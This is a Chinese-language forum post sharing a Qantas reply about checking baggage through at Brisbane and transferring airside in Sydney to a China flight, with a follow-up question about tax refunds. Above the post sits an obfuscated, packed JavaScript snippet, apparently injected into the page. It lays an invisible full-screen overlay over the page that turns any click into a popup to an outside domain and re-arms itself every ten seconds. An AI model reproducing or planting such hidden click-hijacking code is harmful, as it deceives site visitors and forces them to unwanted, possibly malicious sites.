<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>下面是qantas官员回复我的答案,共享一下,也许对其他xdjm也有用处。
Thank you for your email,
Your flight from Brisbane will depart from the Domestic terminal, you will need to check-in at least 1 hour prior to departure. Your check-in for the total itinerary will be done in Brisbane and your baggage through checked to China, you will also be given boarding passes for both flights. On arrival in Sydney you make your way to the International Transfer lounge located adjacent to departure lounge two. You will be transferred airside to the International Terminal and clear immigration there prior to boarding your flight to China.
这就是说,托运行李只要在布里斯班机场checkin一次就可以了,到悉尼转机时不需要理会托运行李,行李会自动转到去中国的飞机上。
这是不是也意味着,如果要清关退税,也要在布里斯班机场完成了?(不然瓶瓶罐罐的又没法都随身带上飞机) |